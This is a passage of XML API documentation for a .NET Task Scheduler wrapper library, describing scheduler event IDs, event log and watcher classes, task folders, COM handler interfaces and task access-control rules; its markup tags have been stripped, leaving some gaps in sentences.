Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, 